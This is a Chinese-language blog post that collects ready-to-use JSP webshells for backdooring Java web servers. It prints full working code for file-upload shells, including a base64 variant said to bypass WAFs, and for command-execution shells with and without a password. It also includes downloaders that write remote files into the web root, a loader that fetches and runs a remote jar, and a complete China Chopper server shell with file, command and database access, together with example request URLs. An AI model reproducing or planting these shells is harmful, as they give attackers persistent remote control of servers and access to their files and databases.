jsp 小后门

总结整理一些jsp的马

上传

下面是两款用于上传的。

JSP一句话

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<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

base64 编码上传

写入base64编码字符 服务端解码成正常文件,可用来绕过waf 、写二进制文件

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<%@ page import="java.util.*,java.io.*" pageEncoding="UTF-8" contentType="text/html; charset=utf-8"%>
<%
request.setCharacterEncoding("utf-8");
String filePath = request.getParameter("filePath");
String content = request.getParameter("content");
String base64Flag = request.getParameter("base64");
String msg = "";
if(content != null){
try{
File file = new File(filePath);
OutputStream os = new FileOutputStream(file);
byte[] bytes = null;
if("on".equals(base64Flag)){
bytes = new sun.misc.BASE64Decoder().decodeBuffer(content);
}else{
bytes = content.getBytes("utf-8");
}
os.write(bytes);
os.close();
msg = "success";
}catch(Exception e){
msg = "error";
}
}
%>
<font color="red"><%=msg%></font>
<form action="" method="post">
<table>
<tr>
<td>filepath:</td>
<td><%=application.getRealPath("")%></td>
</tr>
<tr>
<td>savepath:</td>
<td><input type="text" size="60" name="filePath" value="<%=application.getRealPath("/")+"luan_shell.jsp"%>"/><input type="checkbox" name="base64"/>base64 decode</td>
</tr>
<tr valign="top">
<td>content:</td>
<td><textarea rows="20" cols="70" name="content"></textarea></td>
</tr>
<tr align="right">
<td> </td>
<td><input type="submit" value="save"/></td>
</tr>
</table>
</form>


园长blog上的

因为每次要用到关于jsp的后门、都得跑去园长的博客去翻,所以就索性在这里整理一遍。

执行系统命令:

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<%Runtime.getRuntime().exec(request.getParameter("i"));%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls

执行之后不会有任何回显,用来反弹个 shell 很方便。

有回显带密码验证的:

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<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}
out.print("</pre>");
}
%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ifconfig

下载远程文件(不用apache io utils的话没办法把inputstreambyte,所以很长…)

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<%
java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();
byte[] b = new byte[1024];
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray());
%>

请求:http://192.168.16.240:8080/Shell/download.jsp?f=/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下载到web路径:

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<%
java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();
byte[] b = new byte[1024];
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());
%>

请求:http://192.168.16.240:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

反射调用外部jar,完美后门

如果嫌弃上面的后门功能太弱太陈旧可以试试这个:

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<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>

请求:http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar&023=A

菜刀马

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<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%><%!String Pwd="023";String cs="UTF-8";String EC(String s)throws Exception{return new String(s.getBytes("ISO-8859-1"),cs);}Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim());if(x[1].indexOf("jdbc:oracle")!=-1){return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);}else{Connection c=DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);if(x.length>4){c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT,sQ,sF="";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0; i<l.length; i++){dt=new java.util.Date(l[i].lastModified());sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ +=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();for(int k=0; k < x.length; k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}void GG(String s,String d)throws Exception{String h="0123456789ABCDEF";File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0; i<d.length();i+=2){os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();for(int j=0; j<z.length; j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s,String d)throws Exception{URL u=new URL(s);int n=0;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection) u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];while((n=is.read(b))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is,StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+"\r\n");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] x=s.trim().split("\r\n");ResultSet r=c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null,"%",new String[]{"TABLE"});while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[x.length-1]);ResultSetMetaData d=r.getMetaData();for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}void QQ(String cs,String s,String q,StringBuffer sb,String p)throws Exception{Connection c=GC(s);Statement m=c.createStatement(1005,1008);BufferedWriter bw=null;try{ResultSet r=m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(int i=1; i <=n; i++){sb.append(d.getColumnName(i)+"\t|\t");}sb.append("\r\n");if(q.indexOf("--f:")!=-1){File file=new File(p);if(q.indexOf("-to:")==-1){file.mkdir();}bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:")+4,q.length()).trim()),true),cs));}while(r.next()){for(int i=1; i<=n;i++){if(q.indexOf("--f:")!=-1){bw.write(r.getObject(i)+""+"\t");bw.flush();}else{sb.append(r.getObject(i)+""+"\t|\t");}}if(bw!=null){bw.newLine();}sb.append("\r\n");}r.close();if(bw!=null){bw.close();}}catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}%><%cs=request.getParameter("z0")!=null?request.getParameter("z0")+"":cs;response.setContentType("text/html");response.setCharacterEncoding(cs);StringBuffer sb=new StringBuffer("");try{String Z=EC(request.getParameter(Pwd)+"");String z1=EC(request.getParameter("z1")+"");String z2=EC(request.getParameter("z2")+"");sb.append("->"+"|");String s=request.getSession().getServletContext().getRealPath("/");if(Z.equals("A")){sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\","/")+"images/");}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());%>
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